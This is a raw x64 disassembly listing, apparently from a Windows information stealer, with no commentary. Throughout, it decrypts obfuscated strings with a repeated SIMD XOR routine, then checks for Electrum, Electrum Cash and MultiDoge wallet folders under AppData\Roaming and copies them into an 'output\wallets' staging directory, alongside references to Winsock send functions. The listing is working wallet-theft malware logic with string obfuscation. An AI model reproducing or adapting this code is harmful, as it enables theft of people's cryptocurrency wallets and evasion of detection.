punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400213f0
mov rdx, r10
lea rcx, [rbp + 0x25f8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x2618]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x25d8]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x2638]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5388]
lea rcx, [rbp - 0xc]
call fcn.14002dba0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x1400215d0
mov r8d, esi
cmp r14d, 2
jl 0x14002158f
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400214a0
cmp r8d, 0x21
jge 0x1400215d0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400215a0
mov rdx, r10
lea rcx, [rbp + 0x2658]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2638]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x5928]
lea rcx, [rbp - 0xb]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x140021760
mov r8d, esi
cmp r14d, 2
jl 0x14002171f
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140021630
cmp r8d, 0x27
jge 0x140021760
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140021730
mov rdx, r10
lea rcx, [rbp + 0x2698]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x26b8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2678]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x26b8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2698]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2658]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2618]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x25f8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x25b8]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x2598]
call fcn.1400079a0
lea rdx, [rbp + 0xb38]
lea rcx, [rbp - 0xa]
call fcn.14002dc30
mov r10, rax
cmp byte [rax + 0x1e], 0
je 0x140021980
mov r8d, esi
cmp r14d, 2
jl 0x14002193f
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140021850
cmp r8d, 0x1f
jge 0x140021980
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140021950
mov rdx, r10
lea rcx, [rbp + 0x26d8]
call fcn.1400322a0
nop
mov dword [rbp + 0x38], 1
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x26f8]
call fcn.140035ef0
nop
mov dword [rbp + 0x38], 3
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2718]
call fcn.140037cd0
nop
mov ebx, 7
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2718]
call fcn.14000a000
test al, al
je 0x140021a3d
lea r8, str._appdata_roaming_electrum_cash
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2738]
call fcn.140035d30
nop
mov dword [rbp + 0x38], reloc.WS2_32.dll_ntohs
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2758]
call fcn.140037cd0
nop
mov ebx, Ordinal_35
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2758]
call fcn.14000a090
test al, al
je 0x140021a3d
mov dil, 1
jmp 0x140021a40
xor dil, dil
test bl, 0x10
je 0x140021a59
and ebx, 0xffffffef
lea rcx, [rbp + 0x2758]
call fcn.1400079a0
nop
test bl, 8
je 0x140021a72
and ebx, 0xfffffff7
lea rcx, [rbp + 0x2738]
call fcn.1400320f0
nop
test bl, 4
je 0x140021a8b
and ebx, 0xfffffffb
lea rcx, [rbp + 0x2718]
call fcn.1400079a0
nop
test bl, 2
je 0x140021aa4
and ebx, 0xfffffffd
lea rcx, [rbp + 0x26f8]
call fcn.1400320f0
nop
test bl, 1
je 0x140021abc
and ebx, 0xfffffffe
lea rcx, [rbp + 0x26d8]
call fcn.1400320f0
test dil, dil
je 0x140021cee
lea r8, str._output_wallets_electrum_desktop
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x2778]
call fcn.140035d30
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2798]
call fcn.140037cd0
nop
lea rdx, [rbp + 0xb58]
lea rcx, [rbp - 9]
call fcn.14002dc30
mov r10, rax
cmp byte [rax + 0x1e], 0
je 0x140021c60
mov r8d, esi
cmp r14d, 2
jl 0x140021c1f
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140021b30
cmp r8d, 0x1f
jge 0x140021c60
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140021c30
mov rdx, r10
lea rcx, [rbp + 0x27b8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x27d8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x27f8]
call fcn.140037cd0
nop
lea rdx, [rbp + 0x2798]
lea rcx, [rbp + 0x27f8]
call fcn.1400142d0
nop
lea rcx, [rbp + 0x27f8]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x27d8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x27b8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2798]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x2778]
call fcn.1400320f0
lea rdx, [rbp + 0x5720]
lea rcx, [rbp - 8]
call fcn.14002dc70
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x140021e60
mov r8d, esi
cmp r14d, 2
jl 0x140021e1f
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140021d30
cmp r8d, 0x22
jge 0x140021e60
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140021e30
mov rdx, r10
lea rcx, [rbp + 0x2818]
call fcn.1400322a0
nop
or ebx, 0x20
mov dword [rbp + 0x38], ebx
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2838]
call fcn.140035ef0
nop
or ebx, 0x40
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2858]
call fcn.140037cd0
nop
bts ebx, 7
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2858]
call fcn.14000a000
test al, al
je 0x140021f19
lea r8, str._appdata_roaming_electrum_wallets
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2878]
call fcn.140035d30
nop
bts ebx, 8
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2898]
call fcn.140037cd0
nop
bts ebx, 9
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2898]
call fcn.14000a090
test al, al
je 0x140021f19
mov dil, 1
jmp 0x140021f1c
xor dil, dil
bt ebx, 9
jae 0x140021f37
btr ebx, 9
lea rcx, [rbp + 0x2898]
call fcn.1400079a0
nop
bt ebx, 8
jae 0x140021f52
btr ebx, 8
lea rcx, [rbp + 0x2878]
call fcn.1400320f0
nop
test bl, bl
jns 0x140021f6b
btr ebx, 7
lea rcx, [rbp + 0x2858]
call fcn.1400079a0
nop
test bl, 0x40
je 0x140021f84
and ebx, 0xffffffbf
lea rcx, [rbp + 0x2838]
call fcn.1400320f0
nop
test bl, 0x20
je 0x140021f9c
and ebx, 0xffffffdf
lea rcx, [rbp + 0x2818]
call fcn.1400320f0
test dil, dil
je 0x1400221ce
lea r8, str._output_wallets_electrum_desktop
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x28b8]
call fcn.140035d30
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x28d8]
call fcn.140037cd0
nop
lea rdx, [rbp + 0x56f8]
lea rcx, [rbp - 7]
call fcn.14002dc70
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x140022140
mov r8d, esi
cmp r14d, 2
jl 0x1400220ff
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140022010
cmp r8d, 0x22
jge 0x140022140
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140022110
mov rdx, r10
lea rcx, [rbp + 0x28f8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2918]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2938]
call fcn.140037cd0
nop
lea rdx, [rbp + 0x28d8]
lea rcx, [rbp + 0x2938]
call fcn.1400142d0
nop
lea rcx, [rbp + 0x2938]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x2918]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x28f8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x28d8]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x28b8]
call fcn.1400320f0
lea rdx, [rbp + 0xa78]
lea rcx, [rbp - 6]
call fcn.14002dca0
mov r10, rax
cmp byte [rax + 0x1a], 0
je 0x1400224a0
mov r8d, esi
cmp r14d, 2
jl 0x140022463
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x14029dc90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r8d, Ordinal_26
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140022470
mov rdx, r10
lea rcx, [rbp + 0x2958]
call fcn.1400322a0
nop
bts ebx, 0xa
mov dword [rbp + 0x38], ebx
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2978]
call fcn.140035ef0
nop
bts ebx, 0xb
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2998]
call fcn.140037cd0
nop
bts ebx, 0xc
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2998]
call fcn.14000a000
test al, al
je 0x14002255b
lea r8, str._appdata_roaming_multidoge
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x29b8]
call fcn.140035d30
nop
bts ebx, 0xd
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x29d8]
call fcn.140037cd0
nop
bts ebx, 0xe
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x29d8]
call fcn.14000a090
test al, al
je 0x14002255b
mov dil, 1
jmp 0x14002255e
xor dil, dil
bt ebx, 0xe
jae 0x140022579
btr ebx, 0xe
lea rcx, [rbp + 0x29d8]
call fcn.1400079a0
nop
bt ebx, 0xd
jae 0x140022594
btr ebx, 0xd
lea rcx, [rbp + 0x29b8]
call fcn.1400320f0
nop
bt ebx, 0xc
jae 0x1400225af
btr ebx, 0xc
lea rcx, [rbp + 0x2998]
call fcn.1400079a0
nop
bt ebx, 0xb
jae 0x1400225ca
btr ebx, 0xb
lea rcx, [rbp + 0x2978]
call fcn.1400320f0
nop
bt ebx, 0xa
jae 0x1400225e4
btr ebx, 0xa
lea rcx, [rbp + 0x2958]
call fcn.1400320f0
test dil, dil
je 0x14002297e
lea r8, str._output_wallets_multidoge_desktop
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x29f8]
call fcn.140035d30
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2a18]
call fcn.140037cd0
nop
lea rdx, [rbp + 0xa98]
lea rcx, [rbp - 5]
call fcn.14002dca0
mov r10, rax
cmp byte [rax + 0x1a], 0
je 0x1400228f0
mov r8d, esi
cmp r14d, 2
jl 0x1400228b0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
